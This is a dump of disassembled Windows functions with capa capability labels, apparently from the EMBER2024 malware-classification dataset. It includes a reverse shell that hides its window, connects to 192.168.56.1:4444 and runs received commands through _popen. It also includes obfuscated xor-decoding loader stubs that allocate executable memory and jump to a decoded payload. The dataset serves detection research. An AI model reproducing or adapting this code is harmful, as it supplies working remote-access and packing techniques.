joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009cb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x100257f8
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x1002d7d8]
xor eax, esp
mov dword [esp + 0x5c], eax
push ebp
push esi
push edi
mov eax, dword [0x1002d7d8]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
mov eax, dword [esp + 0x80]
mov edx, dword [esp + 0x9c]
mov ebp, dword [esp + 0x98]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x20]
mov esi, ecx
mov ecx, dword [esp + 0x94]
push eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], 0
call fcn.10001190
lea ecx, [esp + 0x10]
push ecx
push eax
lea edx, [esp + 0x94]
push edx
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x40]
push ecx
push esi
mov dword [esp + 0x90], 0
call fcn.100078d0
add esp, 0x14
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x3c]
push eax
call fcn.10015db0
fstp qword [esp + 0x38]
mov edi, dword [esp + 0x30]
add esp, 0x10
mov dword [esp + 0x78], 0xffffffff
test edi, edi
je 0x10009dac
push 0
lea ecx, [esp + 0x28]
call fcn.10015db0
mov eax, dword [edi + 4]
test eax, eax
jbe 0x10009d8a
cmp eax, 0xffffffff
jae 0x10009d8a
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x24]
and esi, edi
call fcn.1000f167
test esi, esi
je 0x10009dac
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
cmp byte [esp + 0x88], 0
mov edx, dword [esp + 0x84]
jne 0x10009e07
test edx, edx
je 0x10009df6
mov eax, dword [edx + 0x20]
cmp dword [eax], 0
je 0x10009dd8
mov ecx, dword [edx + 0x30]
cmp dword [ecx], 0
jle 0x10009dd8
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009de8
mov eax, dword [edx]
mov ecx, edx
mov edx, dword [eax + 0x10]
call edx
mov edx, dword [esp + 0x84]
cmp eax, 0xffffffff
je 0x10009df6
mov byte [esp + 0x89], al
jmp 0x10009dff
xor edx, edx
mov dword [esp + 0x84], edx
mov byte [esp + 0x88], 1
cmp byte [esp + 0x90], 0
mov ecx, dword [esp + 0x8c]
jne 0x10009e4f
test ecx, ecx
je 0x10009e4d
mov eax, dword [ecx + 0x20]
cmp dword [eax], 0
je 0x10009e33
mov esi, dword [ecx + 0x30]
cmp dword [esi], 0
jle 0x10009e33
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009e48
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [esp + 0x8c]
mov edx, dword [esp + 0x84]
cmp eax, 0xffffffff
jne 0x10009e4f
xor ecx, ecx
test edx, edx
jne 0x10009e59
test ecx, ecx
je 0x10009e5d
jmp 0x10009e61
test ecx, ecx
je 0x10009e61
or dword [ebp], 1
lea ecx, [esp + 0x30]
cmp dword [esp + 0x14], ecx
je 0x10009e7e
cmp dword [esp + 0x10], 0
jne 0x10009e7e
fld qword [esp + 0x28]
mov eax, dword [esp + 0x18]
fstp qword [eax]
jmp 0x10009e82
or dword [ebp], 2
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x88]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.10011cf3
add esp, 0x6c
ret 0x20
Function at 0x10009ec0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x10025828
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x1002d7d8]
xor eax, esp
mov dword [esp + 0x40], eax
push ebp
push esi
push edi
mov eax, dword [0x1002d7d8]
xor eax, esp
push eax
lea eax, [esp + 0x54]
mov dword fs:[0], eax
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x80]
mov edi, dword [esp + 0x7c]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x2c]
mov esi, ecx
mov ecx, dword [esp + 0x78]
push eax
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], 0
call fcn.10001190
push eax
push 0x800
lea ecx, [esp + 0x78]
push ecx
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x40]
push eax
push esi
mov dword [esp + 0x74], 0
call fcn.10007380
mov ebp, eax
mov eax, dword [esp + 0x44]
add esp, 0x18
mov dword [esp + 0x5c], 0xffffffff
test eax, eax
je 0x10009f9f
push 0
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.10015db0
mov eax, dword [edi + 4]
test eax, eax
jbe 0x10009f79
cmp eax, 0xffffffff
jae 0x10009f79
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.1000f167
test esi, esi
je 0x10009f9b
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
push ebp
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x3c]
push eax
call fcn.10015db0
mov edx, dword [esp + 0x78]
add esp, 0x10
cmp byte [esp + 0x6c], 0
mov esi, eax
mov dword [esp + 0x24], 0
jne 0x1000a00a
test edx, edx
je 0x10009fff
mov eax, dword [edx + 0x20]
cmp dword [eax], 0
je 0x10009fe7
mov ecx, dword [edx + 0x30]
cmp dword [ecx], 0
jle 0x10009fe7
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009ff4
mov eax, dword [edx]
mov ecx, edx
mov edx, dword [eax + 0x10]
call edx
mov edx, dword [esp + 0x68]
cmp eax, 0xffffffff
je 0x10009fff
mov byte [esp + 0x6d], al
jmp 0x1000a005
xor edx, edx
mov dword [esp + 0x68], edx
mov byte [esp + 0x6c], 1
cmp byte [esp + 0x74], 0
mov ecx, dword [esp + 0x70]
jne 0x1000a047
test ecx, ecx
je 0x1000a045
mov eax, dword [ecx + 0x20]
cmp dword [eax], 0
je 0x1000a031
mov ebp, dword [ecx + 0x30]
cmp dword [ebp], 0
jle 0x1000a031
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x1000a040
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [esp + 0x70]
mov edx, dword [esp + 0x68]
cmp eax, 0xffffffff
jne 0x1000a047
xor ecx, ecx
test edx, edx
jne 0x1000a051
test ecx, ecx
je 0x1000a055
jmp 0x1000a058
test ecx, ecx
je 0x1000a058
or dword [edi], 1
lea ecx, [esp + 0x30]
cmp dword [esp + 0x18], ecx
je 0x1000a071
cmp dword [esp + 0x10], 0
jne 0x1000a071
mov eax, dword [esp + 0x1c]
mov dword [eax], esi
jmp 0x1000a074
or dword [edi], 2
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x6c]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.10011cf3
add esp, 0x50
ret 0x20
Function at 0x10011cf3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002d7d8]
jne 0x10011cfd
repz ret
jmp fcn.1001899c

Function at 0x10015db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10015dbf
pop dword [ebp - 0x20]
mov eax, 0x10015dbf
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3e232
push 0
mov eax, 0x63c5f995
add eax, 0xac3c6713
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xed3d0fa2
add ecx, 0x12c33dd4
mov edx, eax
mov ebx, 0x4cfe617f
sub ebx, 0x3cfb197f
add ebx, dword [ebp - 0x20]
mov edi, 0x5e2473cb
add edi, 0x95193d31
mov dword [ebp - 0x1c], 0xc82b4376
mov esi, dword [ebx]
add dword [ebp - 0xc], ecx
xor esi, edi
xor dword [ebp - 0x14], eax
mov dword [edx], esi
mov dword [ebp - 8], 0x878f23
add edx, 4
add ebx, 0x7077893e
sub ebx, 0x7077893a
loop 0x10015e19
add eax, 0x41a19443
sub eax, 0x41a06b98
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x574c1c1f
add ecx, 0xb8b3e3e1
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4015d0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4ff8
call fcn.00402790
sub esp, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [0x40603c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
movzx eax, byte [0x404044]
movzx edx, byte [ebp - 0x40c]
movzx eax, al
movzx edx, dl
sub eax, edx
test eax, eax
jne 0x4016a6
mov eax, dword [0x40603c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp + 4], 0x404046
lea eax, [ebp - 0x40c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
jmp 0x4016e3
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sub.msvcrt.dll_strncat
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sub.msvcrt.dll_fgets
test eax, eax
jne 0x4016c3
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__pclose]
call eax
movzx eax, byte [ebp - 0x4fdc]
test al, al
jne 0x40172f
lea eax, [ebp - 0x4fdc]
mov dword [eax], 0x6f727245
mov dword [eax + 4], 0xa2e72
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ecx, eax
mov eax, dword [0x40603c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
lea eax, [ebp - 0x4fdc]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x4015df
Function at 0x40176e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov eax, dword [sym.imp.KERNEL32.dll_AllocConsole]
call eax
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0x10], str.192.168.56.1
mov word [ebp - 0x12], 0x115c
lea eax, [ebp - 0x1b4]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x4017ea
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [0x40603c], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov word [ebp - 0x24], 2
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x12]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x22], ax
jmp 0x40186c
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x40603c]
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
jne 0x40185b
call fcn.004015d0
mov eax, 0
leave
ret 0x10

Function at 0x401b20
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402890
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402890
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x401b80
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401ca0
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401bb4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401c37
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ba0
mov dword [esp], ebx
call fcn.00402510
mov edi, eax
test eax, eax
je 0x401cc7
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402620
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ca7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401c30
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401c40
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401c30
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401b20
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401bbe
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401b20
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401b20
lea esi, [esi]
nop

Function at 0x402180
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x4021d5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4021ce
test esi, esi
je 0x4021ce
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021b0
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10025c73
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10025c82
pop dword [ebp - 0x24]
mov eax, 0x10025c82
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x94a03d77
sub dword [ebp - 0x34], 0x464df82c
mov dword [ebp - 0x30], 0x79af0019
add dword [ebp - 0x30], 0xb8844c2c
mov dword [ebp - 0x2c], 0x2445007c
add dword [ebp - 0x2c], 0x280743b2
mov dword [ebp - 0x28], 0x4a764dec
sub dword [ebp - 0x28], 0x4a764dec
lea eax, [ebp - 0x34]
push eax
mov eax, 0x23866c7f
add eax, 0xec7ce499
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x3c611cf8
add dword [ebp - 0x34], 0x38114c5e
mov dword [ebp - 0x30], 0x20748b10
add dword [ebp - 0x30], 0x20f7d665
mov dword [ebp - 0x2c], 0x3f406efb
add dword [ebp - 0x2c], 0x242efd71
mov dword [ebp - 0x28], 0x22028336
add dword [ebp - 0x28], 0xddfd7cca
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3ad62
push 0
call eax
mov ecx, 0x3e39af9c
add ecx, 0xc1c6974b
xor esi, esi
add esi, eax
mov edi, 0x10088400
add edi, dword [ebp - 0x24]
mov edx, 0xb8d21a7e
xor dword [ebp - 8], ecx
mov ebx, dword [edi]
sub dword [ebp - 0x10], 0x10f2071c
sub ebx, edx
mov dword [ebp - 0x18], 0x8dd3bc99
mov dword [esi], ebx
add esi, 0xef971f73
sub esi, 0xef971f6f
add edi, 0x768233ce
sub edi, 0x768233ca
loop 0x10025d90
add eax, 0x10e6f
mov ebx, eax
add eax, 5
mov ecx, 0x1a9b763c
sub ecx, 0xa9b763c
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x6d574769
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x6d574778
pop dword [ebp - 0x28]
mov eax, 0xe8d4edf3
add eax, 0x84825985
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x35b04a92
sub dword [ebp - 0x38], 0xe75e0547
mov dword [ebp - 0x34], 0x75b51e6f
sub dword [ebp - 0x34], 0x4381d22a
mov dword [ebp - 0x30], 0x6609dec2
sub dword [ebp - 0x30], 0x19bd9a94
mov dword [ebp - 0x2c], 0xaf6ae65
sub dword [ebp - 0x2c], 0xaf6ae65
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xcb571f1f
add dword [ebp - 0x38], 0xa91b4a37
mov dword [ebp - 0x34], 0x88ae4cd6
sub dword [ebp - 0x34], 0x4741eb61
mov dword [ebp - 0x30], 0x7d6032a
add dword [ebp - 0x30], 0x5b996942
mov dword [ebp - 0x2c], 0xd3780b75
add dword [ebp - 0x2c], 0x2c87f48b
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x382c8
push 0
call eax
mov ecx, 0x4b73
xor ebx, ebx
add ebx, eax
mov edx, 0x771c48d
sub edx, 0x9a19d68d
add edx, dword [ebp - 0x28]
mov edi, 0xeae4061
add edi, 0xff32b98c
add dword [ebp - 8], 0x364d5b30
mov esi, dword [edx]
xor dword [ebp - 0x18], edi
add esi, edi
sub dword [ebp - 0x20], 0x9c5aeb2f
mov dword [ebx], esi
mov dword [ebp - 0x1c], 0x6a0def61
add ebx, 4
add edx, 0x7e6a64d9
sub edx, 0x7e6a64d5
loop 0x6d57488c
add eax, 0xa3e105ac
sub eax, 0xa3dfe50d
mov ebx, eax
add eax, 0xb7b86ebe
sub eax, 0xb7b86eb9
mov ecx, 0x6d570000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.1001d9c9
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.1001d9c9
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.1001d9c9
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.1001d9c9
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.1001d9c9
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.1001d9c9
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.1001d9c9
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.1001d9c9
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push esi
push 0x44
call fcn.00401057
push 0x44
mov esi, eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push 0x10
call fcn.00401057
add esp, 0x14
xorps xmm0, xmm0
movups xmmword [eax], xmm0
push eax
push esi
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
push str.C:WindowsSystem32calc.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop esi
ret

Function at 0x10010dc
Capabilities:
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push 0x1002040
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x100110e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2713
call fcn.01001439
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov esi, 0x10010ac
jmp 0x1001121
cmp al, 0x73
jne 0x1001142
xor ebx, ebx
inc ebx
push esi
push edi
push dword [ebp + 8]
call fcn.01001475
cmp eax, 0xffffffff
jne 0x100111a
mov eax, dword [0x1002004]
cmp dword [edi + eax*4], 0
je 0x1001154
push 0x2714
jmp 0x1001147
push 0x2710
push 2
jmp 0x1004264
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jge 0x100117d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2712
jmp section..htext
test ebx, ebx
je 0x1001199
lea eax, [ebp - 0x400]
push 0x2e
push eax
call dword [sym.imp.msvcrt.dll_strchr]
test eax, eax
pop ecx
pop ecx
je 0x1001199
and byte [eax], 0
lea eax, [ebp - 0x400]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011a2
sub eax, edx
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.msvcrt.dll_puts]
pop ecx
push 0
call dword [sym.imp.msvcrt.dll_exit]
int3
Function at 0x4015cf
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
push ebp
push esi
mov ebx, dword [sym.imp.MSVCRT.dll_wcsncpy]
push edi
mov edi, dword [esp + 0x18]
push 0x100
mov esi, 0x4030e4
push dword [edi]
push esi
call ebx
push 0x4030c0
push esi
call dword [sym.imp.MSVCRT.dll__wstat]
add esp, 0x14
jmp loc.0040843a

Function at 0x40170f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402088
push 0x401850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403cf8], 0xffffffff
or dword [0x403cfc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403cf4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403cf0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403d00], eax
call fcn.00401841
cmp dword [0x4030b0], 0
jne 0x401792
push 0x40183e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040182c
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403cec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403ce8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___wgetmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___winitenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004015cf
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret